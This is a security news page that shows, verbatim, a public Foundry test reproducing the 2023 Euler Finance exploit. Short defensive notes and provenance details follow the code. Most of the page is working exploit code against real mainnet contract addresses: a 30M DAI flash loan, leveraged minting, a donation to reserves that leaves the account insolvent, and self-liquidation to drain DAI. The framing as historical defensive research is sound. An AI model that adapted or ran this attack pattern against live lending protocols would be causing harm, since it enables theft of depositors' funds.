Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/Euler_exp.sol

Public reproduction file for the historical Euler Finance incident (2023-03-13). Shown verbatim because the incident is older than 30 days and not known to be still exploitable.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/Euler_exp.sol147 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/FrankResearcher/status/1635241475989721089
9// https://twitter.com/nomorebear/status/1635230621856600064
10// https://twitter.com/peckshield/status/1635229594596036608
11// https://twitter.com/BlockSecTeam/status/1635262150624305153
12// https://twitter.com/SlowMist_Team/status/1635288963580825606
13// @TX
14// https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d
15// @Summary
16// 1) Flash loan tokens from Balancer/Aave v2 => 30M DAI
17// 2) Deploy two contracts: violator and liquidator
18// 3) Deposit 2/3 of funds to Euler using deposit() => sent 20M DAI to Euler and received 19.5M eDAI from Euler
19// 4) Borrow 10x of deposited amount using mint() => received 195.6M eDAI and 200M dDAI from Euler
20// 5) Repay part of debt using the remaining 1/3 of funds using repay() => sent 10M DAI and burned 10M dDAI
21// 6) Repeat 4th step => received 195.6M eDAI and 200M dDAI from Euler
22// 7) Donate 10x of repaid funds using donateToReserves() => sent 100M eDAI to Euler
23// 8) Liquidate a violator’s account using liquidate() because eDAI < dDAI => received 310M eDAI and 259M dDAI of debt from the violator
24// 9) Withdraw all token amount from Euler using withdraw() => withdrew 38.9M DAI from Euler
25// 10) Repay flash loans
27interface EToken {
28 function deposit(uint256 subAccountId, uint256 amount) external;
29 function mint(uint256 subAccountId, uint256 amount) external;
30 function donateToReserves(uint256 subAccountId, uint256 amount) external;
31 function withdraw(uint256 subAccountId, uint256 amount) external;
34interface DToken {
35 function repay(uint256 subAccountId, uint256 amount) external;
38interface IEuler {
39 struct LiquidationOpportunity {
40 uint256 repay;
41 uint256 yield;
42 uint256 healthScore;
43 uint256 baseDiscount;
44 uint256 discount;
45 uint256 conversionRate;
46 }
48 function liquidate(
49 address violator,
50 address underlying,
51 address collateral,
52 uint256 repay,
53 uint256 minYield
54 ) external;
55 function checkLiquidation(
56 address liquidator,
57 address violator,
58 address underlying,
59 address collateral
60 ) external returns (LiquidationOpportunity memory liqOpp);
63contract ContractTest is Test {
64 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
65 EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
66 DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
67 IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
68 IAaveFlashloan AaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9);
69 address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
70 Iviolator violator;
71 Iliquidator liquidator;
73 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
75 function setUp() public {
76 cheats.createSelectFork("mainnet", 16_817_995);
77 cheats.label(address(DAI), "DAI");
78 cheats.label(address(eDAI), "eDAI");
79 cheats.label(address(dDAI), "dDAI");
80 cheats.label(address(Euler), "Euler");
81 cheats.label(address(AaveV2), "AaveV2");
82 }
84 function testExploit() public {
85 uint256 aaveFlashLoanAmount = 30_000_000 * 1e18;
86 address[] memory assets = new address[](1);
87 assets[0] = address(DAI);
88 uint256[] memory amounts = new uint256[](1);
89 amounts[0] = aaveFlashLoanAmount;
90 uint256[] memory modes = new uint256[](1);
91 modes[0] = 0;
92 bytes memory params =
93 abi.encode(30_000_000, 200_000_000, 100_000_000, 44_000_000, address(DAI), address(eDAI), address(dDAI));
94 AaveV2.flashLoan(address(this), assets, amounts, modes, address(this), params, 0);
96 emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
97 }
99 function executeOperation(
100 address[] calldata assets,
101 uint256[] calldata amounts,
102 uint256[] calldata premiums,
103 address initator,
104 bytes calldata params
105 ) external returns (bool) {
106 DAI.approve(address(AaveV2), type(uint256).max);
107 violator = new Iviolator();
108 liquidator = new Iliquidator();
109 DAI.transfer(address(violator), DAI.balanceOf(address(this)));
110 violator.violator();
111 liquidator.liquidate(address(liquidator), address(violator));
112 return true;
113 }
116contract Iviolator {
117 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
118 EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
119 DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
120 IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
121 address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
123 function violator() external {
124 DAI.approve(Euler_Protocol, type(uint256).max);
125 eDAI.deposit(0, 20_000_000 * 1e18);
126 eDAI.mint(0, 200_000_000 * 1e18);
127 dDAI.repay(0, 10_000_000 * 1e18);
128 eDAI.mint(0, 200_000_000 * 1e18);
129 eDAI.donateToReserves(0, 100_000_000 * 1e18);
130 }
133contract Iliquidator {
134 IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
135 EToken eDAI = EToken(0xe025E3ca2bE02316033184551D4d3Aa22024D9DC);
136 DToken dDAI = DToken(0x6085Bc95F506c326DCBCD7A6dd6c79FBc18d4686);
137 IEuler Euler = IEuler(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);
138 address Euler_Protocol = 0x27182842E098f60e3D576794A5bFFb0777E025d3;
140 function liquidate(address liquidator, address violator) external {
141 IEuler.LiquidationOpportunity memory returnData =
142 Euler.checkLiquidation(liquidator, violator, address(DAI), address(DAI));
143 Euler.liquidate(violator, address(DAI), address(DAI), returnData.repay, returnData.yield);
144 eDAI.withdraw(0, DAI.balanceOf(Euler_Protocol));
145 DAI.transfer(msg.sender, DAI.balanceOf(address(this)));
146 }

Analysis

What this file is

A public Foundry test from the DeFiHackLabs dataset for the Euler Finance incident dated 2023-03-13. It reproduces the historical attack against archived chain state. The incident is years old and the affected systems were patched or shut down; we show the file verbatim under our code disclosure policy.

How to read it

The test sets up a fork, labels the relevant addresses, then walks through the steps the attacker used. Treat it as a historical case study for defenders, not as something to run against live contracts.

Fixes and defensive tests

  • Review privileged entry points
  • Limit what external coin can be pulled without intent checks
  • Pause or migrate when a class of bug is public

Related files

9 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

File record

Name
Euler Finance
Path
src/test/2023-03/Euler_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
1b28e23efd669cbc6265f1ec3d4de8aa6d1b5e06
Language
Solidity
Size
148 lines
Date
2023-03-13
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/Euler_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 1b28e23efd669cbc6265f1ec3d4de8aa6d1b5e06, retrieved 2026-10-19. Verbatim file content read with git show at the pinned commit; SPDX header preserved; stored locally for the on-site reader. ThreatWire has never executed this file. Reference: source file at the pinned commit.